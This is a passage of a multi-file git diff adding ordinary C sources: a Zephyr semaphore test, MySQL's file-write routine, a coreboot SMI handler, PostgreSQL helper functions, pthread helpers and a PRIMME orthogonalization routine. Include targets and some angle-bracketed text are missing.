if_lmc_linux.c ------------------------ */ diff --git a/pool/shard011/C/0141656_main.c b/pool/shard011/C/0141656_main.c new file mode 100644 index 0000000000000000000000000000000000000000..4a44551f292f3e9850a5e017c40641369f879f07 --- /dev/null +++ b/pool/shard011/C/0141656_main.c @@ -0,0 +1,206 @@ +/* + * Copyright (c) 2021 Intel Corporation + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#include +#include + +/* Macro declarations */ +#define STACK_SIZE (512 + CONFIG_TEST_EXTRA_STACK_SIZE) +#define SEM_INIT_VAL (0U) +#define SEM_MAX_VAL (3U) +#define TOTAL_MAX (4U) +#define STACK_NUMS 5 +#define PRIO 5 +#define LOW_PRIO 8 +#define HIGH_PRIO 2 + +static K_THREAD_STACK_ARRAY_DEFINE(multi_stack_give, STACK_NUMS, STACK_SIZE); +static K_THREAD_STACK_ARRAY_DEFINE(multi_stack_take, STACK_NUMS, STACK_SIZE); + +static struct k_thread multi_tid_give[STACK_NUMS]; +static struct k_thread multi_tid_take[STACK_NUMS]; +static struct k_sem usage_sem, sync_sem, limit_sem, uninit_sem; +static ZTEST_DMEM int flag; +static ZTEST_DMEM int count; + +/** + * @defgroup kernel_sys_sem_tests Semaphore + * @ingroup all_tests + * @{ + * @} + */ + +static void sem_thread_give_uninit(void *p1, void *p2, void *p3) +{ + ztest_set_fault_valid(true); + + /* use sem without initialse */ + k_sem_give(&uninit_sem); + + ztest_test_fail(); +} + +static void sem_thread_give(void *p1, void *p2, void *p3) +{ + flag = 1; + k_sem_give(&usage_sem); +} + +static void thread_low_prio_sem_take(void *p1, void *p2, void *p3) +{ + k_sem_take(&usage_sem, K_FOREVER); + + flag = LOW_PRIO; + k_sem_give(&sync_sem); +} + +static void thread_high_prio_sem_take(void *p1, void *p2, void *p3) +{ + k_sem_take(&usage_sem, K_FOREVER); + + flag = HIGH_PRIO; + k_sem_give(&sync_sem); +} + +/** + * @brief Test semaphore usage with multiple thread + * + * @details Using semaphore with some situations + * - Use a uninitialized semaphore + * - Use semphore normally + * - Use semaphore with different priority threads + * + * @ingroup kernel_sys_sem_tests + */ +void test_multiple_thread_sem_usage(void) +{ + k_sem_init(&usage_sem, SEM_INIT_VAL, SEM_MAX_VAL); + k_sem_init(&sync_sem, SEM_INIT_VAL, SEM_MAX_VAL); + /* Use a semaphore to synchronize processing between threads */ + k_sem_reset(&usage_sem); + k_thread_create(&multi_tid_give[0], multi_stack_give[0], STACK_SIZE, + sem_thread_give, NULL, NULL, + NULL, PRIO, K_USER | K_INHERIT_PERMS, + K_NO_WAIT); + + k_sem_take(&usage_sem, K_FOREVER); + zassert_equal(flag, 1, "value != 1"); + zassert_equal(k_sem_count_get(&usage_sem), 0, "sem not be took"); + + k_sem_reset(&usage_sem); + /* Use sem with different priority thread */ + k_thread_create(&multi_tid_take[0], multi_stack_take[0], STACK_SIZE, + thread_low_prio_sem_take, NULL, NULL, + NULL, LOW_PRIO, K_USER | K_INHERIT_PERMS, + K_NO_WAIT); + + k_thread_create(&multi_tid_take[1], multi_stack_take[1], STACK_SIZE, + thread_high_prio_sem_take, NULL, NULL, + NULL, HIGH_PRIO, K_USER | K_INHERIT_PERMS, + K_NO_WAIT); + + k_sleep(K_MSEC(50)); + + /* Verify if the high prio thread take sem first */ + k_sem_give(&usage_sem); + k_sem_take(&sync_sem, K_FOREVER); + zassert_equal(flag, HIGH_PRIO, "high prio value error"); + + k_sem_give(&usage_sem); + k_sem_take(&sync_sem, K_FOREVER); + zassert_equal(flag, LOW_PRIO, "low prio value error"); + + k_thread_join(&multi_tid_give[0], K_FOREVER); + k_thread_join(&multi_tid_take[0], K_FOREVER); + k_thread_join(&multi_tid_take[1], K_FOREVER); + + k_thread_create(&multi_tid_give[1], multi_stack_give[1], STACK_SIZE, + sem_thread_give_uninit, NULL, NULL, + NULL, PRIO, K_USER | K_INHERIT_PERMS, + K_NO_WAIT); + k_sleep(K_MSEC(20)); + k_thread_join(&multi_tid_give[1], K_FOREVER); +} + +static void multi_thread_sem_give(void *p1, void *p2, void *p3) +{ + count++; + k_sem_give(&limit_sem); + + if (count < TOTAL_MAX) + zassert_equal(k_sem_count_get(&limit_sem), count, "multi get sem error"); + else + zassert_equal(k_sem_count_get(&limit_sem), SEM_MAX_VAL, "count > SEM_MAX_VAL"); + + k_sem_take(&sync_sem, K_FOREVER); +} + +static void multi_thread_sem_take(void *p1, void *p2, void *p3) +{ + k_sem_take(&limit_sem, K_FOREVER); + count--; + + if (count >= 0) + zassert_equal(k_sem_count_get(&limit_sem), count, "multi take sem error"); + else + zassert_equal(k_sem_count_get(&limit_sem), 0, "count < SEM_INIT_VAL"); + + k_sem_give(&sync_sem); +} + +/** + * @brief Test max semaphore can be give and take with multiple thread + * + * @details + * - Define and initialize semaphore and thread. + * - Give sem by multiple threads. + * - Verify more than max count about semaphore can reach. + * - Take sem by multiple threads and verify if sem count is correct. + * + * @ingroup kernel_sys_sem_tests + */ +void test_multi_thread_sem_limit(void) +{ + k_sem_init(&limit_sem, SEM_INIT_VAL, SEM_MAX_VAL); + k_sem_init(&sync_sem, SEM_INIT_VAL, SEM_MAX_VAL); + + count = 0; + for (int i = 1; i <= TOTAL_MAX; i++) { + k_thread_create(&multi_tid_give[i], multi_stack_give[i], STACK_SIZE, + multi_thread_sem_give, NULL, NULL, NULL, + i, K_USER | K_INHERIT_PERMS, K_NO_WAIT); + } + + k_sleep(K_MSEC(50)); + + count = SEM_MAX_VAL; + for (int i = 1; i <= TOTAL_MAX; i++) { + k_thread_create(&multi_tid_take[i], multi_stack_take[i], STACK_SIZE, + multi_thread_sem_take, NULL, NULL, NULL, + PRIO, K_USER | K_INHERIT_PERMS, K_NO_WAIT); + } +} + +void test_main(void) +{ + k_thread_access_grant(k_current_get(), &usage_sem, &sync_sem, &limit_sem, + &multi_tid_give[0], &multi_tid_give[1], + &multi_tid_give[2], &multi_tid_give[3], + &multi_tid_give[4], &multi_tid_take[4], + &multi_tid_take[2], &multi_tid_take[3], + &multi_tid_take[0], &multi_tid_take[1], + &multi_tid_give[5], &multi_tid_take[5], + &multi_stack_take[0], &multi_stack_take[1], + &multi_stack_take[3], &multi_stack_take[4], + &multi_stack_take[2], &multi_stack_give[0], + &multi_stack_give[1], &multi_stack_give[2], + &multi_stack_give[3], &multi_stack_give[4]); + + ztest_test_suite(test_kernel_sys_sem, + ztest_1cpu_user_unit_test(test_multiple_thread_sem_usage), + ztest_1cpu_user_unit_test(test_multi_thread_sem_limit)); + ztest_run_test_suite(test_kernel_sys_sem); +} diff --git a/pool/shard011/C/0141657_my_write.c b/pool/shard011/C/0141657_my_write.c new file mode 100644 index 0000000000000000000000000000000000000000..78e4d8cf45b8517ae06f4bede764a67a7b92b3b9 --- /dev/null +++ b/pool/shard011/C/0141657_my_write.c @@ -0,0 +1,127 @@ +/* Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; version 2 of the License. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ + +#include "mysys_priv.h" +#include "mysys_err.h" +#include + + +/** + Write a chunk of bytes to a file + + if (MyFlags & (MY_NABP | MY_FNABP)) + @returns + 0 if Count == 0 + On succes, 0 + On failure, (size_t)-1 == MY_FILE_ERROR + + otherwise + @returns + 0 if Count == 0 + On success, the number of bytes written. + On partial success (if less than Count bytes could be written), + the actual number of bytes written. + On failure, (size_t)-1 == MY_FILE_ERROR +*/ +size_t my_write(File Filedes, const uchar *Buffer, size_t Count, myf MyFlags) +{ + size_t writtenbytes; + size_t sum_written= 0; + uint errors= 0; + const size_t initial_count= Count; + + DBUG_ENTER("my_write"); + DBUG_PRINT("my",("fd: %d Buffer: %p Count: %lu MyFlags: %d", + Filedes, Buffer, (ulong) Count, MyFlags)); + + /* The behavior of write(fd, buf, 0) is not portable */ + if (unlikely(!Count)) + DBUG_RETURN(0); + + DBUG_EXECUTE_IF ("simulate_no_free_space_error", + { DBUG_SET("+d,simulate_file_write_error");}); + for (;;) + { + errno= 0; +#ifdef _WIN32 + writtenbytes= my_win_write(Filedes, Buffer, Count); +#else + writtenbytes= write(Filedes, Buffer, Count); +#endif + DBUG_EXECUTE_IF("simulate_file_write_error", + { + errno= ENOSPC; + writtenbytes= (size_t) -1; + }); + if (writtenbytes == Count) + { + sum_written+= writtenbytes; + break; + } + if (writtenbytes != (size_t) -1) + { /* Safeguard */ + sum_written+= writtenbytes; + Buffer+= writtenbytes; + Count-= writtenbytes; + } + my_errno= errno; + DBUG_PRINT("error",("Write only %ld bytes, error: %d", + (long) writtenbytes, my_errno)); + if (my_thread_var->abort) + MyFlags&= ~ MY_WAIT_IF_FULL; /* End if aborted by user */ + + if ((my_errno == ENOSPC || my_errno == EDQUOT) && + (MyFlags & MY_WAIT_IF_FULL)) + { + wait_for_free_space(my_filename(Filedes), errors); + errors++; + DBUG_EXECUTE_IF("simulate_no_free_space_error", + { DBUG_SET("-d,simulate_file_write_error");}); + continue; + } + + if (writtenbytes != 0 && writtenbytes != (size_t) -1) + continue; /* Retry if something written */ + else if (my_errno == EINTR) + { + DBUG_PRINT("debug", ("my_write() was interrupted and returned %ld", + (long) writtenbytes)); + continue; /* Interrupted, retry */ + } + else if (writtenbytes == 0 && !errors++) /* Retry once */ + { + /* We may come here if the file quota is exeeded */ + continue; + } + break; + } + if (MyFlags & (MY_NABP | MY_FNABP)) + { + if (sum_written == initial_count) + DBUG_RETURN(0); /* Want only errors, not bytes written */ + if (MyFlags & (MY_WME | MY_FAE | MY_FNABP)) + { + char errbuf[MYSYS_STRERROR_SIZE]; + my_error(EE_WRITE, MYF(ME_BELL+ME_WAITTANG), my_filename(Filedes), + my_errno, my_strerror(errbuf, sizeof(errbuf), my_errno)); + } + DBUG_RETURN(MY_FILE_ERROR); + } + + if (sum_written == 0) + DBUG_RETURN(MY_FILE_ERROR); + + DBUG_RETURN(sum_written); +} /* my_write */ diff --git a/pool/shard011/C/0141658_smihandler.c b/pool/shard011/C/0141658_smihandler.c new file mode 100644 index 0000000000000000000000000000000000000000..07b97a747fcd134349349aac4fe5950859113927 --- /dev/null +++ b/pool/shard011/C/0141658_smihandler.c @@ -0,0 +1,187 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2008-2009 coresystems GmbH + * Copyright (C) 2015 Intel Corp. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include "ec.h" +#include +#include +#include +#include +#include + +#include + +/* The wake gpio is SUS_GPIO[0]. */ +#define WAKE_GPIO_EN SUS_GPIO_EN0 +#define GPIO_SUS7_WAKE_MASK (1 << 12) +#define GPIO_SUS1_WAKE_MASK (1 << 13) + +int mainboard_io_trap_handler(int smif) +{ + switch (smif) { + case 0x99: + printk(BIOS_DEBUG, "Sample\n"); + smm_get_gnvs()->smif = 0; + break; + default: + return 0; + } + + /* + * On success, the IO Trap Handler returns 0 + * On failure, the IO Trap Handler returns a value != 0 + * + * For now, we force the return value to 0 and log all traps to + * see what's going on. + */ + //gnvs->smif = 0; + return 1; +} + +#if IS_ENABLED(CONFIG_EC_GOOGLE_CHROMEEC) +static uint8_t mainboard_smi_ec(void) +{ + uint8_t cmd = google_chromeec_get_event(); + uint16_t pmbase = get_pmbase(); + uint32_t pm1_cnt; + +#if IS_ENABLED(CONFIG_ELOG_GSMI) + /* Log this event */ + if (cmd) + elog_add_event_byte(ELOG_TYPE_EC_EVENT, cmd); +#endif + + switch (cmd) { + case EC_HOST_EVENT_LID_CLOSED: + printk(BIOS_DEBUG, "LID CLOSED, SHUTDOWN\n"); + + /* Go to S5 */ + pm1_cnt = inl(pmbase + PM1_CNT); + pm1_cnt |= SLP_EN | (SLP_TYP_S5 << SLP_TYP_SHIFT); + outl(pm1_cnt, pmbase + PM1_CNT); + break; + } + + return cmd; +} +#endif + +/* + * The entire 32-bit ALT_GPIO_SMI register is passed as a parameter. Note, that + * this includes the enable bits in the lower 16 bits. + */ +void mainboard_smi_gpi(uint32_t alt_gpio_smi) +{ +#if IS_ENABLED(CONFIG_EC_GOOGLE_CHROMEEC) + if (alt_gpio_smi & (1 << EC_SMI_GPI)) { + /* Process all pending events */ + while (mainboard_smi_ec() != 0) + ; + } +#endif +} + +void mainboard_smi_sleep(uint8_t slp_typ) +{ + void *addr; + uint32_t mask; + + /* Disable USB charging if required */ + switch (slp_typ) { + case ACPI_S3: +#if IS_ENABLED(CONFIG_EC_GOOGLE_CHROMEEC) + if (smm_get_gnvs()->s3u0 == 0) + google_chromeec_set_usb_charge_mode( + 0, USB_CHARGE_MODE_DISABLED); + if (smm_get_gnvs()->s3u1 == 0) + google_chromeec_set_usb_charge_mode( + 1, USB_CHARGE_MODE_DISABLED); + + /* Enable wake events */ + google_chromeec_set_wake_mask(MAINBOARD_EC_S3_WAKE_EVENTS); +#endif + /* Enable wake pin in GPE block. */ + enable_gpe(WAKE_GPIO_EN); + break; + case ACPI_S4: + case ACPI_S5: +#if IS_ENABLED(CONFIG_EC_GOOGLE_CHROMEEC) + if (smm_get_gnvs()->s5u0 == 0) + google_chromeec_set_usb_charge_mode( + 0, USB_CHARGE_MODE_DISABLED); + if (smm_get_gnvs()->s5u1 == 0) + google_chromeec_set_usb_charge_mode( + 1, USB_CHARGE_MODE_DISABLED); + + /* Enable wake events */ + google_chromeec_set_wake_mask(MAINBOARD_EC_S5_WAKE_EVENTS); +#endif + + /* Disabling wake from SUS_GPIO1 (TOUCH INT) and + * SUS_GPIO7 (TRACKPAD INT) in North bank as they are not + * valid S5 wake sources + */ + addr = (void *)(IO_BASE_ADDRESS + COMMUNITY_OFFSET_GPNORTH + + GPIO_WAKE_MASK_REG0); + mask = ~(GPIO_SUS1_WAKE_MASK | GPIO_SUS7_WAKE_MASK); + write32(addr, read32(addr) & mask); + + break; + } + +#if IS_ENABLED(CONFIG_EC_GOOGLE_CHROMEEC) + /* Disable SCI and SMI events */ + google_chromeec_set_smi_mask(0); + google_chromeec_set_sci_mask(0); + + /* Clear pending events that may trigger immediate wake */ + while (google_chromeec_get_event() != 0) + ; + + /* Set LPC lines to low power in S3/S5. */ + if ((slp_typ == ACPI_S3) || (slp_typ == ACPI_S5)) { + lpc_set_low_power(); + } +#endif +} + +int mainboard_smi_apmc(uint8_t apmc) +{ + switch (apmc) { + case APM_CNT_ACPI_ENABLE: +#if IS_ENABLED(CONFIG_EC_GOOGLE_CHROMEEC) + google_chromeec_set_smi_mask(0); + /* Clear all pending events */ + while (google_chromeec_get_event() != 0) + ; + google_chromeec_set_sci_mask(MAINBOARD_EC_SCI_EVENTS); +#endif + break; + case APM_CNT_ACPI_DISABLE: +#if IS_ENABLED(CONFIG_EC_GOOGLE_CHROMEEC) + google_chromeec_set_sci_mask(0); + /* Clear all pending events */ + while (google_chromeec_get_event() != 0) + ; + google_chromeec_set_smi_mask(MAINBOARD_EC_SMI_EVENTS); +#endif + break; + } + return 0; +} diff --git a/pool/shard011/C/0141659_pgsql.c b/pool/shard011/C/0141659_pgsql.c new file mode 100644 index 0000000000000000000000000000000000000000..b5f5b8eb010bb1dad008b190317d68c762301347 --- /dev/null +++ b/pool/shard011/C/0141659_pgsql.c @@ -0,0 +1,133 @@ +/* Helper functions for the postgresql connections */ + +#include +#include +#include +#include +#include +#include "osmtypes.h" // For exit_nicely() +#include "pgsql.h" + +void escape(char *out, int len, const char *in) +{ + /* Apply escaping of TEXT COPY data + Escape: backslash itself, newline, carriage return, and the current delimiter character (tab) + file:///usr/share/doc/postgresql-8.1.8/html/sql-copy.html + */ + int count = 0; + const char *old_in = in, *old_out = out; + + if (!len) + return; + + while(*in && count < len-3) { + switch(*in) { + case '\\': *out++ = '\\'; *out++ = '\\'; count+= 2; break; + // case 8: *out++ = '\\'; *out++ = '\b'; count+= 2; break; + // case 12: *out++ = '\\'; *out++ = '\f'; count+= 2; break; + case '\n': *out++ = '\\'; *out++ = '\n'; count+= 2; break; + case '\r': *out++ = '\\'; *out++ = '\r'; count+= 2; break; + case '\t': *out++ = '\\'; *out++ = '\t'; count+= 2; break; + // case 11: *out++ = '\\'; *out++ = '\v'; count+= 2; break; + default: *out++ = *in; count++; break; + } + in++; + } + *out = '\0'; + + if (*in) + fprintf(stderr, "%s truncated at %d chars: %s\n%s\n", __FUNCTION__, count, old_in, old_out); +} + +int pgsql_exec(PGconn *sql_conn, ExecStatusType expect, const char *fmt, ...) +{ + PGresult *res; + va_list ap; + char *sql, *nsql; + int n, size = 100; + + /* Based on vprintf manual page */ + /* Guess we need no more than 100 bytes. */ + + if ((sql = malloc(size)) == NULL) { + fprintf(stderr, "Memory allocation failed\n"); + exit_nicely(); + } + + while (1) { + /* Try to print in the allocated space. */ + va_start(ap, fmt); + n = vsnprintf(sql, size, fmt, ap); + va_end(ap); + /* If that worked, return the string. */ + if (n > -1 && n < size) + break; + /* Else try again with more space. */ + if (n > -1) /* glibc 2.1 */ + size = n+1; /* precisely what is needed */ + else /* glibc 2.0 */ + size *= 2; /* twice the old size */ + if ((nsql = realloc (sql, size)) == NULL) { + free(sql); + fprintf(stderr, "Memory re-allocation failed\n"); + exit_nicely(); + } else { + sql = nsql; + } + } + +#ifdef DEBUG_PGSQL + fprintf( stderr, "Executing: %s\n", sql ); +#endif + res = PQexec(sql_conn, sql); + if (PQresultStatus(res) != expect) { + fprintf(stderr, "%s failed: %s\n", sql, PQerrorMessage(sql_conn)); + free(sql); + PQclear(res); + exit_nicely(); + } + free(sql); + PQclear(res); + return 0; +} + +int pgsql_CopyData(const char *context, PGconn *sql_conn, const char *sql) +{ +#ifdef DEBUG_PGSQL + fprintf( stderr, "%s>>> %s\n", context, sql ); +#endif + int r = PQputCopyData(sql_conn, sql, strlen(sql)); + if (r != 1) { + fprintf(stderr, "%s - bad result during COPY, data %s\n", context, sql); + exit_nicely(); + } + return 0; +} + +PGresult *pgsql_execPrepared( PGconn *sql_conn, const char *stmtName, int nParams, const char *const * paramValues, ExecStatusType expect) +{ +#ifdef DEBUG_PGSQL + fprintf( stderr, "ExecPrepared: %s\n", stmtName ); +#endif + PGresult *res = PQexecPrepared(sql_conn, stmtName, nParams, paramValues, NULL, NULL, 0); + if (PQresultStatus(res) != expect) { + fprintf(stderr, "%s failed: %s(%d)\n", stmtName, PQerrorMessage(sql_conn), PQresultStatus(res)); + if( nParams ) + { + int i; + fprintf( stderr, "Arguments were: " ); + for( i=0; imutex),NULL)) + return 1; + if (pthread_cond_init(&(mycontrol->cond),NULL)) + return 1; + mycontrol->active=0; + return 0; +} + +int control_destroy(data_control *mycontrol) { + int mystatus; + if (pthread_mutex_destroy(&(mycontrol->mutex))) + return 1; + if (pthread_cond_destroy(&(mycontrol->cond))) + return 1; + mycontrol->active=0; + return 0; +} +int control_activate(data_control *mycontrol) { + int mystatus; + if (pthread_mutex_lock(&(mycontrol->mutex))) + return 0; + mycontrol->active=1; + pthread_mutex_unlock(&(mycontrol->mutex)); + pthread_cond_broadcast(&(mycontrol->cond)); + return 1; +} + +int control_deactivate(data_control *mycontrol) { + int mystatus; + if (pthread_mutex_lock(&(mycontrol->mutex))) + return 0; + mycontrol->active=0; + pthread_mutex_unlock(&(mycontrol->mutex)); + pthread_cond_broadcast(&(mycontrol->cond)); + return 1; +} diff --git a/pool/shard011/C/0141661_ortho_z.c b/pool/shard011/C/0141661_ortho_z.c new file mode 100644 index 0000000000000000000000000000000000000000..1abfd897e4093f899ed36215e9181dd4af9f0d5f --- /dev/null +++ b/pool/shard011/C/0141661_ortho_z.c @@ -0,0 +1,379 @@ +/********************************************************************** + * PRIMME PReconditioned Iterative MultiMethod Eigensolver + * Copyright (C) 2005 James R. McCombs, Andreas Stathopoulos + * + * This file is part of PRIMME. + * + * PRIMME is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * PRIMME is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + * + * File: ortho.c + * + * Purpose - Othonormalizes a block of vectors, vector by vector, + * against two bases and among themselves. Gram-Scmidt is used + * with reorthogonalization based on Daniel's test. + * For the purpose of the test, the norm of the resulting vector + * is computed without synchronizations. Because of floating point, + * this norm is not accurate if reortho is needed, but it is more + * than sufficient for the test. If at least one reortho has been + * performed, the actual norm must be computed. + * + * Note on numerical properties + * The relative error in the implicit s1 is + * O( machineEps * (s0/s1)^2 ), + * so when Daniel's test succeeds error(s1) = O(2*machineEps)). + * + * For almost linearly dependent vectors a large error in s1 + * might fail to detect a problem during the second reortho. + * Let s1 = s1hat*(1+err), with err = O(macheps*(s0/s1)^2). + * eg. s0/s1 = 1e8 => (s1-s1hat)/s1hat = O(1) + * eg. s0/s1 = 1e7 => (s1-s1hat)/s1hat = O(1e-2) + * eg. s0/s1 = 1e4 => (s1-s1hat)/s1hat = O(1e-8) + * When s0 is reset to s00 = s1, and perform again the Daniel's test + * s11/s00 = s11/s1hat(1+err) < 0.75 <=> s11/s1hat < .75*(1+err) + * if err is around 1e-2 it does not affect Daniels test a lot. + * Thus, if s0/s1 > 1.49e7, we must compute the actual s1. + * + * + * Module name : %M% + * SID : %I% + * Date : %G% + **********************************************************************/ + +#include +#include +#include +#include "primme.h" +#include "numerical_z.h" +#include "ortho_z.h" + + +/********************************************************************** + * Function ortho - This routine orthonormalizes a block of of vectors + * against other vectors in the same array, against a set of locked vectors, + * and themselves. + * + * The following conditions must always be met: + * ldBasis > 0, nLocal > 0, b1 >= 0, b2 >= 0, b2 >= b1, numLocked >= 0, + * rworkSize > 0 + * + * INPUT ARRAYS AND PARAMETERS + * --------------------------- + * ldBasis Leading dimension of the basis + * b1, b2 Range of indices of vectors to be orthonormalized + * (b1 can be zero, but b1 must be <= b2) + * locked Array that holds locked vectors if they are in-core + * ldLocked Leading dimension of locked + * numLocked Number of vectors in locked + * nLocal Number of rows of each vector stored on this node + * machEps Double machine precision + * + * lockFile Handle of file containing the locked vectors + * rworkSize Length of rwork array + * primme Primme struct. Contains globalSumDouble and Parallelism info + * + * INPUT/OUTPUT ARRAYS AND PARAMETERS + * ---------------------------------- + * basis Basis vectors stored in core memory + * iseed Seeds used to generate random vectors + * rwork Contains buffers and other necessary work arrays + * + * Return Value + * ------------ + * >0 - Insufficient workspace provided. Positive number indicates + * appropriate amount. + * 0 - success + * -1 - some size or leading dimension was < 0 + * -2 - b1 > b2 + * -3 - A limit number of randomizations has been performed without + * yielding an orthogonal direction + * + **********************************************************************/ + +int ortho_zprimme(Complex_Z *basis, int ldBasis, int b1, int b2, + Complex_Z *locked, int ldLocked, int numLocked, int nLocal, int *iseed, + double machEps, Complex_Z *rwork, int rworkSize, primme_params *primme) { + + int i; // Loop indices + int count; + int returnValue; + int minWorkSize; + int nOrth, reorth; + int randomizations; + int messages = 0; // messages = 1 prints the intermediate results + int maxNumOrthos = 2; // We let 2 reorthogonalization before we randomize + int maxNumRandoms = 10; // We do not allow more than 10 randomizations + double tol = sqrt(2.0L)/2.0L; // We set Daniel et al. test to .707 + double s0, s02, s1; + double temp; + Complex_Z ztmp; + Complex_Z *overlaps; + Complex_Z tpone = {+1.0e+00,+0.0e00}, tzero = {+0.0e+00,+0.0e00}, tmone = {-1.0e+00,+0.0e00}; + FILE *outputFile; + + // messages = (primme->procID == 0 && primme->printLevel >= 5); + // outputFile = primme->outputFile; + outputFile = stderr; + + returnValue = 0; + + //---------------------------------- + // input and workspace verification + //---------------------------------- + if (ldBasis <= 0 || nLocal <= 0 || b1 < 0 || b2 < 0 || numLocked < 0 + || rworkSize < 0) + { + returnValue = -1; + } + else if (b1 > b2) { + returnValue = -2; + } + + if (returnValue != 0) { + return(returnValue); + } + + minWorkSize = 2*(numLocked + b2 + 1); + + if (rworkSize < minWorkSize) { + return(minWorkSize); + } + + tol = sqrt(2.0L)/2.0L; + + //--------------------------------------------------- + // main loop to orthogonalize new vectors one by one + //--------------------------------------------------- + + for(i=b1; i <= b2; i++) { + + nOrth = 0; + reorth = 1; + randomizations = 0; + + while (reorth) { + + if (nOrth >= maxNumOrthos) { + if (randomizations >= maxNumRandoms) { + return -3; + } + if (messages){ + fprintf(outputFile, "Randomizing in ortho:\n"); + } + + Num_larnv_zprimme(2, iseed, nLocal, &basis[ldBasis*i]); + randomizations++; + nOrth = 0; + } + + nOrth++; + + if (nOrth == 1) { + ztmp = Num_dot_zprimme(nLocal, &basis[ldBasis*i], 1, + &basis[ldBasis*i], 1); + } + + if (i > 0) { + Num_gemv_zprimme("C", nLocal, i, tpone, basis, ldBasis, + &basis[ldBasis*i], 1, tzero, rwork, 1); + } + + if (numLocked > 0) { + Num_gemv_zprimme("C", nLocal, numLocked, tpone, locked, ldLocked, + &basis[ldBasis*i], 1, tzero, &rwork[i], 1); + } + + rwork[i+numLocked] = ztmp; + overlaps = &rwork[i+numLocked+1]; + // In Complex, the size of the array to globalSum is twice as large + count = 2*(i + numLocked + 1); + (*primme->globalSumDouble)(rwork, overlaps, &count, primme); + + if (numLocked > 0) { // locked array most recently accessed + Num_gemv_zprimme("N", nLocal, numLocked, tmone, locked, ldLocked, + &overlaps[i], 1, tpone, &basis[ldBasis*i], 1); + } + + if (i > 0) { + Num_gemv_zprimme("N", nLocal, i, tmone, basis, ldBasis, + overlaps, 1, tpone, &basis[ldBasis*i], 1); + } + + if (nOrth == 1) { + s02 = overlaps[i+numLocked].r; + s0 = sqrt(s02); + } + + // Compute the norm of the resulting vector implicitly + + ztmp = Num_dot_zprimme(i+numLocked,overlaps,1,overlaps,1); + temp = ztmp.r; + s1 = sqrt(max(0.0L, s02-temp)); + + // s1 decreased too much. Numerical problems expected + // with its implicit computation. Compute s1 explicitly + + if ( s1 < s0*sqrt(machEps) || nOrth > 1) { + ztmp = Num_dot_zprimme(nLocal, &basis[ldBasis*i], 1, + &basis[ldBasis*i], 1); + temp = ztmp.r; + count = 1; + (*primme->globalSumDouble)(&temp, &s1, &count, primme); + s1 = sqrt(s1); + } + + if (s1 <= machEps*s0) { + if (messages) { + fprintf(outputFile, + "Vector %d lost all significant digits in ortho\n", i-b1); + } + nOrth = maxNumOrthos; + } + else if (s1 <= tol*s0) { + if (messages) { + fprintf(outputFile, "Reorthogonalizing: %d\n", i-b1); + } + // No numerical benefit in normalizing the vector before reortho + s0 = s1; + s02 = s1*s1; + } + else { + if (nOrth > 1) { + // Previous reorthogonalizaton implies inaccurate norm s1 of + // resulting vector. Compute the numerically accurate one. + ztmp = Num_dot_zprimme(nLocal,&basis[ldBasis*i], 1, + &basis[ldBasis*i], 1); + temp = ztmp.r; + count = 1; + (*primme->globalSumDouble)(&temp, &s1, &count, primme); + s1 = sqrt(s1); + } + {ztmp.r = 1.0L/s1; ztmp.i = 0.0L;} + Num_scal_zprimme(nLocal, ztmp, &basis[ldBasis*i], 1); + reorth = 0; + } + + } + } + + return 0; +} + + +/********************************************************************** + * Function ortho_retained_vectors -- This function orthogonalizes + * coefficient vectors (the eigenvectors of the projection H) that + * are retained from a previous iteration. The retained coefficient + * vectors are orthogonalized versus the coefficient vectors of the + * restarted basis. This orthogonalizes previous and current Ritz + * vectors cheaply and without communication because the coefficient + * vectors are stored by each process. + * + * Input parameters + * ---------------- + * currentVectors Coefficient vectors from the current iteration to + * be orthogonalized against. + * + * length The dimension of each vector + * + * numVectors The number of current vectors + * + * + * Input/Output parameters + * ----------------------- + * previousVectors The coefficient vectors obtained from the previous iteration + * Note that their leading dimension is primme->maxBasisSize. + * + * numPrevious The number of previous vectors to retain + * + * rwork work array of size max(numVectors, numPrevious). If it + * is of size maxBasisSize, then it will always be sufficiently + * large. + * + * + * Return value + * ------------ + * int The number of previous vectors successfully orthogonalized + * + ****************************************************************************/ + +int ortho_retained_vectors_zprimme (Complex_Z *currentVectors, + int length, int numVectors, Complex_Z *previousVectors, int numPrevious, + double machEps, Complex_Z *rwork) { + + int i; /* Loop counter */ + int nOrths; /* Number of times a vector has been orthogonalized */ + int zeroed; /* True if the vector norm was reduced below 1e-14 */ + double norm; /* Vector norm. */ + Complex_Z ztmp;/* Temp accumulation var */ + /* and some constants */ + Complex_Z tpone = {+1.0e+00,+0.0e00}, tzero = {+0.0e+00,+0.0e00}, tmone = {-1.0e+00,+0.0e00}; + + /* Orthogonalize each of the numPrevious vectors against the current */ + /* vectors and amongst themselves. */ + + i = 0; + + while (i < numPrevious) { + zeroed = 0; + + /* Orthogonalize each vector twice to ensure numerical stability */ + + for (nOrths = 0; nOrths < 3; nOrths++) { + + /* Orthogonalize versus the numVectors current vectors */ + + Num_gemv_zprimme("C", length, numVectors, tpone, currentVectors, + length, &previousVectors[length*i], 1, tzero, rwork, 1); + + Num_gemv_zprimme("N", length, numVectors, tmone, currentVectors, + length, rwork, 1, tpone, &previousVectors[length*i], 1); + + /* Orthogonalize against the i previous vectors that have */ + /* been orthogonalized thus far. */ + + if (i > 0) { 